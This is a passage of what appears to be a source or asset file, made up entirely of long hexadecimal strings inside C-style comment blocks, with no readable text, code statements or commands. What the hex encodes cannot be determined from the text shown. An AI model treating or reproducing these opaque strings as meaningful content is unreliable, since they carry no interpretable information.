6265327eb7dda4da3921054f5aa23d5f6917443538b6136fbd420023165431239cfd782e14ea0981f9a7fa0a38a0989ab31b4cc7b16c49b2f838270d48eb8817300c58239e054c93ba26a04b5d426fe93ee7430ecef2bebe70dee980c4932e3d2f2d08f98fb4f47bc6f80aa3aebddb45c618dd15c19f1fdda23768811ed1a53c5630ab31902fd42dda719fd016da02c10e01bafecb1ed4293fc1487390bf1d5d75f7de54b0c0429ebe2f396fd27d160b8ebc316ecf42273771ad69bf24f16159eb3ad1f0ecba15f311bbbf6477626ac3c7c31583b3f37aa1adb4f135f3c2a82a80d7379248fe4d7f370679ce0bdb0d669599472dbb793cb956c5ca96720d280882f5f6f1feb0e397e20120872a4774b61f71ebf8c6a564aeebc2ebd929aae4d63b1786fc8b3874e5ba75f6dd4a6de5419b780e66a6c3d30d450674cc539bfcc5ce17ae32600e1c3b05b53cfccdb40438bb3c228ec6e667a4561620f210928f89e335b91e181ada61ff0dc11c8a7cc69e429535684a925638273dfd3f404c6f5d51dd0e685dc97b2a865e31ca5249f7f6009ca3f08adb4de758a58f1016e94758172ecf05fc0036b7ddfca08a4285c5a37df1a2d413165f7855f55ac320e15efb0b17f47b020fe851b353f91dc1c35a860c49967196b499850d9f39fd23d427bc45dd427944987210cee80931422040e18dc9dbea5d753dff092f3c8adf75c1*/
/*9564f30ac511fe628e8a62c1ff7b9a29b742ab7222222293127cdb4eea08eeaf2edad7bd92ecc516275bbd246af415dc3e81301b2cf15f89079de137f1eb4196a497d7aaf7faeecaae05c43ea3dba821de54f057221679e2ba61d1b18a1b9cf8c6e98bafd72e5f4e761b72bd416052506a359ef11c8e77d2c94d6d009dd6874fbc0ac02e8cb3066463ea01848b23194b36b6e7799af6ab25092fd12e8d54da6c244b264317114106ca4cc38f7138c935525d19269aa8b84e3458d725964a56454d68767cde96db605b6ce63a92456675d75ca9af70f29144a8bf6dab363b2f4f8af8439ad801d769ac4add78094f2971059249423889c805cc91ed03727cdeb85e2ea52f0682c73f4a04af5085bc98c582d87014a3e35160b073f9397849c498da3aacd021f26c3300f70d5ad7f6c6228c7bfc2c531ad4179e504cd2d9e19d46e9558ffc10b307272e4f55be41b7c357a89c53e16ec927542e4f184d4989a10967bc61e617eeb06e4f78d4c0eaf82d1aa5b3bda3a2a59e6b7adec75e4482411dee8fe6094b88fbd3c1e55026616d3f73db927f405138a6e43b6414556e1815eef1b0e2fd198e2a51a44f6e6098640d9b1c7eed7cd57a14c3536fde3c4c362c8420a21edab5dfdc4e783a3a0b78da9df60ef8c0aadf6fd1765c1525ebcbf1db5e7b1fe735d2729b08b39b2a6517117c0662233b80c84af8a5ab48e8fd1ea1271bc2d03ece07b5650be0fd048fd4f5cbf9cd79a13e2e837d0168e53de9dc09b8f29d6b7a882e52fb827641ca54dc892f35946aa67acddae3572ba64560298b7fd2c346b57d927883d5795197ffb727ea0ce0ae52a66f1c86fdd1da0fd3e4a1f60897b5c5b6bd55cbda79227f5662bc3cda313c45fa1e42c97f69d2c372c833307ade0d832c805bf777c03aa292143de3ce6409d35d66d1b94909cffb60e98d8cbfc77e2dd0e2339ed7a3880b7f4caa488c68a22dbe15f453631d35fa02916c4cfa32d49fce27fd11218d03cb270a617a587bd8bec4c0e5fd69817c59072b8a2fdfae8b8924e2641211b7a4685d3308e342de3e9bc62f1212dd86402a065973074638a0c203145c1718be32adb57f7c44f6a343032028124c45a3c7f4f37a27b9e2eb0db24402c521137dc5b69ba33b75d643d1a621178d7f435ac3ba015e51842ade645db88477cbfe06fe4bc5c4a8f587c0edee61895eb3567ec470ca2aa5b0aec46945bc52a28a202712a746072fac5eddc51b46e24874c688e936a7a293f694ff7ee2013f2b32660b16366dd143169b02dfa490e8a47bafb0d6badf00fbe15224370494e0be428ed3188952dbc9d747f5981dcd8add4f447b46ea1a4742316ec7f42c12f65bef32b1ec14395b2e043fcfd577970cb6469160c0d00f5b6efabb615e44ccfd407eaf50fb8d2a5b71391730a5b54bbe49bc4216ce9f66d09fc2345d3771394ce9c0761a2ec53e9f0e98df7d3bd81fe44a159eaf1ed52575447f25992a58926832825fa9018e8e45fe63957f851523f5197355daca5ea9130421eed15dba3f504758644fcbe653215bd70f447b6f9031c63060c958996d69aed9d36b61deafd78057c6f98957c12cbbce63cf4ba12f7c266243fbb13693ce9028604dcc6dfb9b19a05e5dc6ca6d5bbc60e304ed134921e8e036c95c20cc04d12ec62acede5fa537ef613e85a62badb9746ae9b6b4fdaf398f8fda743f20fa31675db4df4fb73fa32890fa2ca5032d9993fc5d17c53803ea15efaab484b9b758cc411c239e617303cd195f7f8e6ea097e729d7a8ef7325076203bfb2a9f117b2f0a34f8af6b31c70ce98bf9031ac8d144767b88c9e7593281538b9ab19f56f37418bc9deb9f094f5f35a6bd64f70f547e74f469eb99b1e0191eb4f4625d68d60c5183440e84adea98169d61c4f5cd32c45a8cc752e99dc08a2082530467f28b0012e2e47ed8a04e5e0ee39299a4cc001dcbc531d3c0eea6ae3961dfc3c94ef299b50bd8c3656f45db267761c96cc7fba0d5ac2ef13ced3f3295c0b16a85acb99a44079ceaa232fa1ecd20d9406b00e97d8c94d5254feffcd76e4a7bb4b2d2a0a75231dba952c9174304fc03ac48cc033c9a9794a4ff1fec376bcaa12708204a468c65fb6f65797762bff0f7ec972c4681b031ff8af3bdc81677ad6df3a8558986aedbf4303dde08cc9304a57ce04e139a69e290a341af8ed728e8eac9629734f3c58b51f8ea4f05d5da447ca30e999429a354a582c9ddf9cd1977f81ce18efefb66f86c32e18bcc8f62836e7a8420259400172f6883e72345bd7afe1fc13c9594a086cd25efabd7ad5de846e17df4581299f628028ee83bc789e2f21941e80601cb68ca79b2d5a499d6df25fbd79ac86df4894120c4aba12feb9ce7d9326102812f070782722640cf7b4f1ec0ae58803d62922c1c7977f35dbbe34f3f12ce1a2d3d31962f2bc1c8c5deae8abf128faa9ee5583a10c3e57e3677bd3a68600eb7ce8795c1f98c9c86f7bacfc18d762f1b0d953fdf59af4a611a91f4d55f64cd977f1b8b66ff3f9cdd06671f1dff711588e597a1d6a835eaa84098d05b37b4e52311ba365a7611e4bb462adc97ca312f5bce50d047fb6265fcf3df4424bc7eb1028c30bcf97f8d5b9cdea1e0325ce0a5a68f2808c68e18b79e30acafc3d4cefaf56b428e178b45e53b6a44c6dc258b838990b65b3409df2f27b0b01f45e9264b6d5e955643c7821abcb30255a9125e3dd1914f8968f0dc4a4c967200a04fdc873b8b3755ef3d796f289e35c015de7fcf96a63d156ac9bdc1d6322175139f7bb6e38d8d13805f6b600755f8aa8a1a3d8783f05ef*/
/*2b60ba78c53a8f64914b3397030e14330da22089c2b9178bdb73f625903daaebcf00e4b90aa10cf7fe9a471a48d273b88d4c1a1c74cc47a6b2fb02867a024ab8d4691b66a5becadd85922afa1881b7a37b36224b065b6305bb9c542036f4ced473c023b00eb8d6e113051f81a0b3410273d76d45c9f321e35e88d351c30192b573fc68e13e2a8b83a6ff6ab7e7c1e1128b65687c4ac922a47ff7ed22f0fae108a1f587054557472c1a284aa9e6a994c2199642169a2439b4ebf94675a2ecfa32145986e79a28e320ba2c7a3bc91e7a4859114152bce55db442f3b770b25f4f0f8a02cfc29cfb7fa6c2b0a34127bb9a0b4cfcfbe97e66f1ed24d5971480c38b69a48868dbf6487c0b6789029627de72a3bf3935910841223c6d5d98c61a22affd6069af467561e59f32ea389de16b8b05fb48a97b78dc8b329126ec7ad95077b28a8189451cadb1e20abd0ea5c22c9db84f2e5eca654f5a784e2f1d1be5388f59aa1c075bb13500d3a3cebb0c01583e29e209885c746850623057d48a23284c8a17879f1ff03c5a39db9f87212d7cae4bd1c541a1f69127784cf4dc2561c71ed4ca483147379788a5bdd0f8f3f5ebb32602cdb81748791094a4da30ad906e9d0e5a67f125d366796c3d9269f243b1a9a4584a0c4247f0cbf4452b6702cf005c9dac48b89d0f499588ff6cf405228923bb5075b2f99f5f016f41a6d3e59525fa315e7ac135ffaa3a12f88bf006385f3adde160240bbec8cd33e29f31aa3836ec0adf4b609d4845aaa8753225ca76e467bf5c9b9455905f8458c97ce5896a9d624f3f779faa070594745a79237cd5e19922d9a0fb3eaa430a2bd12b4d51e584972018190114da23a9ee2a95861a41f534e186a73ffa8ca3936b75e91ea06a074db37706cec52735e305a7ce0f7bab2d8064566443c9782515e3e59624aedcb947636f0b10e7015b8c60e0241724204cb16b3f3372fe096ef71b6640c00a7a1c44730bfe359ac2ae3457b1014657f22cb3d36dfdb65ecbbe36c6a45645e479d4afe01052bd64ddf8afc2a44231593d95c330cdb4b6019ab58f76b43fd1904c62cd262d38d357fd148b47acd918b3684a613658400bc048f9b6674b7e415772a5c7acac4959625977154c626dd595edff77855893c75240e78d35964de42815d556a09db823ed4a7f4614b424f78966ef7020f3d3e67d198d7e56dc09d7c4e4d53faf6b8ed38d86e222354e2cf1c12206e30b4eb034c15e8e5f7333b01702ec6276eb1683293be1ac5a21ce2492fc4210397ce8531bfbbe67c02bacc9cdea76b603e8b6f953614120ce4b1f2db3148d4e463cbd59ca1a9218199fd7d1ee688ed0faeeead998041ac1456e41f174d83fa2dc54344bc67a8fe7d187f1db667f8d6d4b9b513291b7cb25c46460d86b88fef3fec644910b41be8facf05f0c0b0f8c3e11b849fc7c41a77f4efd89d8bb1a281dd66adfd0190c5fde4f77fe15330ad8d20d326d56d43754424cdbb7ae4bc86977af814352abdcc46f987b34d972e873537d42bdd1771104fdf8b120b250e044d35a3b3cf4d8346e332c790a84666f49fc75639dfb4bb741851e016adc9f2a3e0100ed30da55bcd0352a93970ea2663859acaf51c65ecf588e4aafc57f593ab587a4dcbffe63ebf0c68db016af55b028b24da4bd49485094c17db738f051564ee627899903bb65c1f25fc8db4c747390c778ab5e9721637cbf6433523299f97b1d3a48653eb30acdb8754bf99c386590be283e6ec92a709d623170d8a6cf5045b830be2654e9b8dfaf62889e351a8042f19d9e0416f2e166a9e01ef1a65e5240715a6ae300cbbac42440be5786463a7600374d6e435f8b5e0c882cf80c8bcaa1c84bd1d8323e7adbb77071e981652eefa28817fca08f68009e4ef8e5fd45751437570b686bd26514bb7802720594cd6bbf426c1c9b2ef78280427889680e48090e70908aebb5fba3fdfcd0b6f0e97bf686cccb44117a3ea8ca0d84338fee4d4ff4e0c1583b44502bddf063db1ea312f45a92c39dc84faa4ebdc45ace8a38ffa5b853b9dce7e2fa82bf955e53f8327eec798ae61a55792b49c9e42dd9d2e56f9242df30e1269bafb18f8bd96d9aef94bbe14dc53fab2ad61b74dd9c48e032345daef60cbba0356a365948ccbfc79a21d053395893180072d6c10338f76dcf9ce8bfa4a87fb75a82a69de6c881fb55ced88b1e45c0b84277556b07dc6fa070ca9d81d4a37aa40dead3885eae372e7f9b7a818745f4c7e641f95b68e6baa4bb0222724345eb17018d778c1aadcf3c1711e1761947583ce59d46ac03721f487015106ea91d512f05b9caa9f6b91dfd19399d54f3f68b0885af41f4b885e837f93489bdea22af2dfa0e2c0c0d0e2656964999e08dc7285638ee47cf56a143c93ab23cc37a7e9b4cb5b6a8962f54b2556ec4b21837a05c594ad5ef8ec0e1a1e2b19068fac86b10f828fc3c6f28ea5c98d9cb8c75f8f6c8379a2e290172d228fa47a979ad62daa1e4755cc64315295c5c18db79e079c973ec5ab845bb0bb0dfbde8adf342b80ae66c367beed7070f87997ab756f8151b5ae81bde496bad31215ffab2b7987c091ce0ec3770b70b71fbe2d095a77deefdfc34fffe04524969b3593e132a393d60778fb0314e7118ef252a7114e96a381daff472a075c0a2d3425aa08e1ed2e110145a158ed1d6352e60ca378774e3b9b11ede0ca48938652c173d9b2fa2f546d6fbce0a13c02a66b67cc092e49d646e516824c44a3b6665f4478f20c257449522780939d3dcdf672030e503bd77137747d10036e31c5138b99669e6fa1dc168dd*/
/*57601a4536533c785f16a8e3172b49eb148de64ce890f4c50f6b55768e81f2f208c964fe6243a8670eee1ac9b7a72db05bbbecdef43dd932cb935d05aa896ae69d6d5f7c859d9f586f830db65c38cd28b9594d579d7a59ffbe645d01ef0d738cb57a82b9c9d881e1f6b77143d15d2e75eecedbd337cd7029d05d90263a0fc6ca63a02c6ebfa67a705b2f3d27cf47fc853502daa66d13abf2e1dead5159927311ff45b25e03106c09a125a96c463ced5425c22b797f6f96155c7aa02e631423a22974e87810ce38830e966f3b4a7bc4557b0ca480a9eeb4fcd8f919ded3c078b5c52d9ae805544605bc6b8ee460616e244fd28d67d8bbfb81986b9bbc0e0e729500fb56ca445194d30b2d07d61b98c2ed50c663a60393e3a900bdefa14fd20b8095161753b5265706683c662c202abd37317f4834aeb7861dccb55e2a7b3b80896c79f29eba0a676bd2e7309e1904468b026fa785638fcf7b2dc241ca56e35fe28a1f731c163b5e0f1c8bf80cf712a83af28ae2316eade890d876a352443d9beef8b69627e2dc66148d533c9576fc035b1d3ae92bee0189da6388e3d6765392d1c01998585d6054f46358b059ce1985e31fe73cb8c2ddcef7c8ae163996436b1c1a88c606ec46dd0ddebc16782404a558ad23bc87ff1cc30dd334b7ed0f4705995e039d9feff4dfbbb120db08ae6d212d51f0e01f48f14f83933d5b26b06077fc7e221e23b00181710da7a94a49ff26d84f802c97d9dc05fcae450d3cdad01630a23446b7b49e0e4394d1b467549036de2cccd95ffffeb45cc074b8f5460385df5b324c326ca8ee4ea3e211723fa4ed890b87bbb074d32485846ccd9d5eee3ccdad20b0a28a8565511c1fb6ff0bf7dec6b8e0c50d50524ef57bbbdc89aa27d8d21b5e7b4a49c0b2908b99bfceac06299f5c0f0ffa7793202b8c9d39aa6380f7efbe81da2a7a43afcf72c024fd600d53f4a8c438b52ae5b197d294e28dc551a80b34a130a0570d580b4f51d84ce5bde0d80df460913aa070f51bec1640083d5c6a6b70e13523c6480cf33d988d42c4310d0a09f185737a000f8fb34d26de3d5277963fbd2730fce771d5bf00d501262f85c85a4d4c6ea5da540dd37ae5007ef4d68fc17c4d05e14d1d4ef77bed290fbce0b62b5e9c21e8b6296f517afd01f9dbd27950d448cb727863d32b02395f302ae90a132c728e214bf4e75423785f79d6ef14434dfb30bab4c3fc162e32566912f7ed8e5db63c9cedd2094e485ba7c34c16c84710f1e9e32fa30762e6e8484e6a03a3c313014a35ecfe27f18d6bad4ce40d6bcd2f05b1c56cb7f40d7cbd4c34dd56bf1619d8dfe39fa9173d2782058956c8fee61493e4ba4f67ee99d2398d8532d8f2b2e7959d22929ab3c6f9d8485ae5b5e20df17b1bba77b93d856242d323b6212afaa7ecc7ebb7cd438787514d91567a42e91faa47855c3a6da0b40cf4ef38bfbd76e5f6aa498ba58f250efeaea46710359713d6cf7943517f96321edd902401763c1d3f3c542b4fd9c95549c9831c1d2d0bdedbf6400c9f99f3ec42709696497af9c47b60218128cf53998ccd629cf95c76be2f178b443ad626a3203cd2892213fbf7be30d6602d938ca355984ba202b619e9b462bc647fdbccd0efe6d4cfd098168a356c84c01038d66f8e0de0183e159e838dc2c0950cb5b832d07d580db9f70a863bdd2a57b213745f28db28be66b8b06e7aefa5dc22fddd149f16efccd1d97a524f7510efa2dc467363501eb86a75543e65cdb39d729d1c5846734631757f531e21dcfb96ba08ced755f9f571588cb0b79acef1ea8a9b456f38d1760e7977d109ac0b18761db31d1bcc78b5bcf548db494a1e2897e4a5141622f3bfa912652e65fe1f785d5b13a37c684baa589e536e235e224dac7794790157cf5c75380369d10ba95df8eddd4f0a13ddc44e3d00c3212d858a537da927a33eee4e0f8ab1e575fabbb6d10cf169489382667f082342104dc100fcbf3c7aa3808368ba570a88f883bc5515c9b4c348d85eae8d8a11bac1ae53db9e220fa2a2f03434f98df3f1cef87bb0e692a1f1ed7ec391d5a03f866bfd4fba1bec74ddb08e1e29cde6033a3eeda151cff79becd12e60117d3deb3cb01ed84580eb4365ae112f8f1162072609aa9bc29f98bdbaab4f57e9aa1befe1d2eed73a25c4c027f13f4c6c6f514d94b3a96749f25807eb0a60a0080eeb062fe55b97d7a4c5017456c2bff61de6dcc7b491cfebd7b6d3b624a5183c082ac536f5a789e81c7f7a7e6123fc7f7f0d53e09eff2942b9eba6948d5b7c792da24a95789def8bb7d7fd7c5febbd3ad269e95f1dccefdf37d09a0e3f662dfcdcd7730d6010786585d8bc841f7801e980155b616b283c7cf9c794567ecc9abb721cfc26b9ce0a4745d8dd5ea4f0b665367eaf3f8a8970cca582446fb35c7a683632fb14f3999586c7f0464ecf069ba2f25a3d52dd6305fe03ab36064fdfa70e1d0c908bdc30c273d9d9d8bbc8d2ccddd83370c52fce48a2f4f830ae4f28f5c270be294922b0e1ffbd07403fdcb69e44463d60d3390edfdbedd1280974c85b738a20e501e5359aaf218c0d59947d20c20141fcce190640dc109a8364602707407fd9305c035bf74a63922128c95c56dfcf5a1c9d31aa5e7004276eeb900bceb422f3ca699ae4c682c2d553ed8d1cfe5dbb32653995d684cc985e11ad71dd10b5b157bdf9ed052b4e5d7febb4abcadd351e9fa5cab3dc36ee8d4a01316ea654b67fae972ede1d14f92f1f9bc4a2e22acc78eb4ac627eb0569b991ba38773322004bd43cb53791e413893a72278181de1080b5*/
/*59c735942fa00356ab800d7387e223b2cffa5e07e6d8cb8e942e61d0f67278e6534588367a7d227c568408eb3ab06c785311724f874cd80fedaaa0db464f4e3b4cf5ac312fda1c8548c201259b6a0867d4337c371c2945d533ab586f630c9cbc23ff0c296a95c4395d4ff9239554b069fe42ce69c479e84532b6b5aba8d53221c62f7d2df5bd876c41cefa0004404a3378d6148648179e5eab8926120682d2568920444329da6352a1c29e4fe1964e9e8b40c201e772b96a3993dfccb8d0778b4ee66b6024e9219de35b88239f90c3f02b09bf5ab98d3a7433d28f448f4aadd9ed93ad7b4f811ccf35f7279b819abf1e6da2b3def509945945efddbdbeb41caaa7f7b95b08af88724c3b60e241871bafac582c23a9e2b26dc82a329e8e6a3b322929259e5d83bb3889c058e97437724a03f7ed54a27e7ab4f3f74de9981895670d57aec546b13f0a728502ceca9125a245d80eb2a02d4fb08f02aaf7a0e9b3caca3179b87614d7507b7fdc1a790580e4310bfe71f701a77fcbefcfdf06368877e96c38f772b9fb4c7568d802be30277a6ebb41f726c6479546394ab42a9f232fa997a77db5813a32e76ceaebc4b6692aa4c4e2c3f2352728473ab1b4bd39735ee77d81de001cd0dd2d9133340a51c41069ce49f4bc0e7f35c494d23b81d82f8eaf0601b9ac127527234e3d2d8c52c4b1f7436b8c87769c1b1c955545f6a3304951c3a35cf366af8f74cd6cf646a474c626c20a07ffcdc050b9bce71c85ce9e078cceffe7db2f8e9088b028823e32baf7df230c4ec8153a1ea57222d538e31d65ffaf86e76010e5c656305f708d51c96e587d07a41d0ddf8728f3fc6c925a44b55d35d525dc7ccc6bfe92c6fc1d946110d62b64da640b26db033ee487744d39f73ba2fdd734cbdbf5255b8d14a39e7a439f0a82af6f598d450a404bcc003321525775655c2f9739d3b78e94b41598022a5d548afeda08868572a46943b44192668ee790bdf7582e4a45be027298539989e34c3284fc321303c4353c9fb8df1f0136c353a3261f6a25660f05c41fa86e0eb4ca8bc1c83b9cef8e52ddfef86210fd7b735fd96004b6a6aab60be7ed6889c7111868753fa4ed7e0092a8a9bae6695e1b3475aa17a74379e0f8366a35146af0ddabab6008b4833089f8c09b6f97804dd83518578da1b41d2d14fa0b40080a18f425f896c88eb24421ece7cf8dc7d28a543069a2660946094118f93d774b1bcdc38ecb676b11bd344e2f4c0494ebede94864673ef33ed4182336ef4fa504406a6ecf6f644a18f5f7edceb415c1188d1f24f47cb376eb14292f4a634fe3681abc0f5ac52e6b701076dec85d9cd6b6095a824004c84111428f37cd17a733f1189adf8598253bd3f91a3578cbc015cf2230545d1327899b87f852f1ca32d1ddf4405aa5b1f04d553e66947f9df46393f7b4fae1a184718d9986a61f38ce680afa4e1fe32336ebd79d6b116551f8981e34fdf90df1e244523508144c2b75230c3aa1d82b6c4b381c7e35de9089e82f44e59164cf0f3d08fee47199b26cee2e4796ea3d4dc1fa223bfc23b565ef9f87d019b84c647ad9ded93cb1801c92813ab8c56530ca61c5ad2c68d02954f59dcf56022f553dc59a2f914d8443ccc35f778a3629c66c506df97ed53c0ab1fb8a3ddcb627adba1b97d75924d678c20d3d47fc4e9e520581beace5f0f18164d0dd24df677a5bb9ff06dd5001309b804327cf2a3d6b4879bfaf27702959618cac486f6a62add429d3ea2f3fab26631e16ea9b81c4ee3865fde271732c87aa9de997b4f44c3f9dcb58f98d05e44636bf575cd2324a2d3df880508c02f9495b21f7f722ebb7ce480c54f518a527b4f973dc83d837a0f10a2f43e06a23bb369d8461f082ad570c9de279a57e3e3e2dd917b7c39bdbae79856b5984fbd4a9ba6eb3c63518571615e5eaf0e67142056c3f5b2afe65ceb36371d33fd8ace4260ed08b64233700d4dcb4518525b1be3973e75d5fb55f2e7dc26613350e6cab18431f16a5f84edcef6e1333f0e4dc50114e9bbf4db0991e379d91a2e968898bacf54774e7859676ddf7766b8de34e54a1d59cfcd7cc8a2e0dd0fb9009ea65d44f4f7fa3868c2d06b439b9d4aabfb62fcc00367f4cf4ad8293091864bf54c21013d6cd5859932aee44e4d892dbce108e775bcd03acf1562500a0e13d631796fe642cacaa5b603105a239ed61d647773465d5252a9b85b25eef1d6858bb46037ad7b8237057656b9614e5c2eea9ef4934a47812b20cffcd3291f854096675e1cae1c1a8153b1494a6f6928c9792e63be99ef860b9a366cfc616a742b3fab3bb911d0225a30afd59281f13c54ac6a4d131902e0dd40f58b7b3073496250dd839a7c3b30843026130c419d66d4c10bc0253da5e783e385418f6f4ec6ddc356f49837284e053185250434f1fb38344cd58c61cc381021b07e0fd2f00b46143674ca3f376aac2d097d2c8b9b6deb53f689514a70fbae22bc7720c0718f4d62a98aca92f7981b662a186276fd22c0687999ad0a0187dedffe943252c62436d8985e509e91b6d4b584598d2f8e48e6e22c909cc69ab92ac499f8104e6f3e031c7fb2fe845b39b8485318ec0ad2eaf47b5374b7b66aa5647f9411e951b5366c2e6d920fdcf8ba850c41e30cc7cb05846a08379505ce283b3a2111e4880062adba293a87135e3489995fba7646d1e2d6ffe15b34a5873a75a41e5bd4cbdaccffa4e353be017243942fa0e0c0c671d8382bd5214a39719b3d277e1a33197d3397fa408e4e148e665057d6121160c534b797284fda8433dd4a2bb439d9b43d0*/
/*9d23fae2f4565a954e1fe935ea015abbb674b48b0c2f0804e280aaa505296a084f58b768d1dce7a9068fda0f1c1735620f03ebd8b40bd082d97cd6953eb040683803c771bc16f62da12d5fb05f1900a75658186e6b0025ccb3ca94331edc6bc84975fff9e13b87fe1dc582f8750226cc4a99a1ebeec3b679c8f4de72d596674901c5436aa319a664120b76678b8f1f45015ee01326bfe9037e2155e3cf401bebf785c60f0df15f9beb228def630b6b3fd491317d016d78adac421972d14ea95d2acfaeda6d887256e49ddabd32aac33bcf0fc18b719ee6c49aa6a76bb6fe7f7973a0d170c2636b960769a5a1d7e90e70a2de49df20f9b9c4be5531d807e69cb1755b2b57f5dc6b2244de02ebd8281bd7ca19e9dbbaae37c61655af66261e0cf076b0d0245315f6c741b69b84347087643152c3a83493f30a8ed09aa968a6195f0f37898ba7171345dad937d4d19408aa744d9d365a3e377cdbeeaa10bfe0ad7ae074fc40c5825435193b4c600823d753664a87710e91afa9745a6e1d06a54ee2e30ac644ed2b8eea803c2aabb7b74e7c1ac70cbad1ea681dd16ed2fc4b0ddff99530b8b90a63064a33892f81b2970870377cec02796e8a34fec85ff4355ce85485f96b9e2b4b5b9e112c229ecbbcbbfc0f842f57466de12589adde16653f8371dd632bbbd1e3c967f1c2ca36e0a74ee712c857595ae989db1a540550ceede1a83f6b332b0fb010bfb020a01799f1a699caa1eaa5477882958d562326f7645525825aa14736fda8488343039a933087eed48da0f76f9fcd3448241fee8c27f95e6315534d51dcd06a5a8a26daf0e00187fa20dadfb4439af5f1e3f32989f8fe98e3ab84878ddc6a73cfcca0d661a1bacd89fa63916829fa2398362475c5687e949f0b51f279f30035ebedba81dc39c3eb03f92a169f2fcb0ac6f9a2760025a078f1b98d496b09acfd9cd7eecba327406eeb0658bb2a11ef9a400e28653d3924576d72d8b0e2d9da370ee95898516e89ed3f251b65b58a3a2aa412ef3b369848b86718c06ec9fee1a30bf1ffde80db4f81f034dc720bbbf887c6707b1a0e0d3a42585523e2de9f91de501c3faab7d0cbcc0b23b1742a12e13ca334b9ad8d8d66a6ee11706e557ec43665df28fb71f24dc7f2befba73b969e236d0f152c83c587decd93901bd562c9b5fb5aeae87df91f1e2062681d6b4e609738862da6f47d7e53197adf50562129a3565d8c445a419d21a334865b3d7a858cbef3811f8ea9166d106ae1cd9b6acb46433c0cbd48407edc3e664073f22212795aaf12eccecb551e5424471142a82e19f72b16fd63e677b6a0b41a826a823dba14da49a8206f704fd8ffd44c335b4a9b35b67924d3d81d6b96cb956a9b51e7a8bd94700dd34b50c04053243c5dc2388e3e8b0272893d22a43065b3e2b9bee9649e3323c9cf4e96e8938c08e66733717a9f75f0b08e6a8f79bbcdfef53e27ec39f67ea22953f0ffdb3eea02c64c41ef384752a4efb125cb2d5fa02ef8b00164f1703daee0446c6402af90d165c85246c45e1a6138da9c680f48d45b8c50ed518ba87c60a44dadb814aa8912b6987cb61aa532ea00140a3d1189f802ec855848b015da681fb7f261cfe657f13272615675a41b045c1c8532d4c6a003a97029fd236336df598969e61460865db5ac6c7b2677e6fdc5b1bbc275535bdd4de02fe278f0879d5d5763f0236757f7edd195f20b2fa2a8d9294dc4ef5a1af99ddea3a64ce08e43725b118d96bd10a369c8c0322239857b41b8a2f51050f27f31cff0b811a8b576455f54cbfa68d16300596ec94b8dd1b0d8784daea072e51ca91c346beb928fdb5b5bf4f24595735356df1562566f6b42c6d79815ff0ba3a400d90a654d3220c987f01e7b2336b0aac0101d84007f1407ffbe23413af99b368b72dea0b550c56d319043ca44145be518975f2145867097077162d36218d13f31b021cfb653f405178ebecff13b135b0f8042a75a97b3b5e20e41764be2b61fc0e892723a345f9806d9c8ad682b13c5222bf7e21662aea3e89320a50d99ba75fb09e0cf92511681f9887af25a953957810230ad4c4eb2605b07dc48c56db4bfeaf7440f1da3c6e8a96d49a745525a13ffbaad66fb817978c044fa710cb13e194fb908b9cd4523330ac633948d9e3984ad48269fa42f40ebf9a53bfeb6bf01779be5fbdffb660b1cd3396db8ba2918ea6788e760b0fc679436c3cbd7201a0354b3aea3448f2edac07467cdef772e4679dee56df524a086de75741c30b5f12b947f9a3d537178c214e85ff1a213e9da21d77e90ba5f0cb571c034e210b7a0f72b0c30598e40fa32551a730fc0700377c0446fcfc098bef0a67b02229e509efc07459fe6f2d8173bb2c9886d599e46e6268543046e698f6ea695b49323e19ec4abc51317025c6e80d362bf469e819377352be64b392b634ff0071db038d7a4a382dacfab32672a1b3237b754334f9854dbbd8c49829246a3bfd4bbf8c81d63b037ecb781ceb29a2a6175f10e7543273f037c1c93a695164132139dec6455ac5bea06fe7814d35c2584b25441dffa0370612c52365c42604c1fcdf9fe7cf5110fe1c2883a0fdf4cf06b4c0c343f3c0d613c0ddfb1fafcf5cd9e24289e70ea16302661b78d90edca3681d47fcb441e08cf6ce74433c677915b1b49e016190e25231d031400b174cb340b57dc37dfd938d0a79156cb4d77ff502c1564a437f196fe6380fae58d0edabfb134bbae337d5cca4277257c6792364d696d4f7f6dc4ea172d5ced4bb0c10364fef0d72abbe25290b7b23f35c31318dc97685f87a8f9*/
/*2d5d83e2f2252011fa23d1173eb1403effba7bb5034ea2334549d3e62f0c5c63e9a656b265017f2acab723ab96da877b15d730f7ef227b905c79c7d923665e26d923088bad4b08098f3bc53044228f4b586b074116a787736c30561928ed0485ec4bfb8eff24c8ae4dda9842403fbf0f519eb51a7c55537cb2bde951938dee02691e7a6618577b73b1c4e2fea4722c4f6edd2bceb3e12a1eaca4a7a224c7471d2819d43583ae08521fc7ec4e9223154990ad20b1805a6446744233ddf44804cf7b1aadd4838331f24f412df945b1e264a7cc9ed8aae6d9342b8706a47e52a1ffa7b8a7fb7999b8343cf97410218d8d51b5ece30974cad5495f64a2a8cacb3b8143bb041cff8dc911b8ec0068b0277a728984144123ffaf13a93b3b57fa68f2b8dda380bdf53cd5cfd4ab0d131d64f0d131193fea8734557ee5d404d7d918e4ac13b0144bd4bef8eac1ab7a9b4b1c970c50c0c78cee454ba949cc7192df3b4329db8892e7124dd7e17d6385cbef0dc4b4d39b5c54528038e0dbee52b4620e5e8d919ebbdad7dc00f8f11b3748871b4555cc26ebfd3a09e0e438bbc45febf607e6fe6fc212b340ba02620689f98fedf2b0beb4a920be909ef7dd6c860f36a99dba2f663ab9b27420958310ecea2a4f3fd8f88549e027cbd359fd7e9066d070a25dca800013f41c7cfd0bf109b18ffc6c553371540f0121ab1ab1f7c20977cdafb7849b51c28e1324680386bc25a3ce6428caecb158a92deedd697fa24f67dbbff1bb5f330d69a40150c6f052bf4a909f2ffe2e47d80f67599be8fe07e65526390d983c6a221f0ea8ce1694fd84e5ca2602cba0f23c4e2b5d69a8770aaa827bc5ec58fc2e7fdcdda1fa5c6aa68981bc96ea51f0c74b1c5f9b84f172b3e9487a9d2c3e104300c9f6a492e2ffff7d7d208dbdd12a89b6171efb5765b1e9a0d22cb04fff1fa6a8202459c05403a4376b98b2ca01a2712f716248c0aed6cf3bd105cc7ab9c121315c374032e22fb2e978b70cfb421a96e4bd42cfb79ef8765487b6b7da2f896f6376832d9f9e64eaec6efbdde95addbc9695f01e003618d27a576bed53a447183786c8677668d5372932ac62eccb6eb213223b851b6b79040aaefd8ebf6c8a2ac280015f710f5b6fa6241723052e3049d5910e597cd16413e48da45b1a4cc25ffac0219b919caf80137a8b5ef0ba33d44fe0943d0c1004e4bb3dd21758f56fffca0265a5a624e3c762d984080234acf558f59819274a5bcc48b0cd62018625782d62e081016ce22304692c0921e1470011fd87bf0e377d0fcc8fc48d9c169f34479cc01d8dbe70922f4a4664dbec228ea822983a63758823f4dccf6f9cab31675b3045e028db5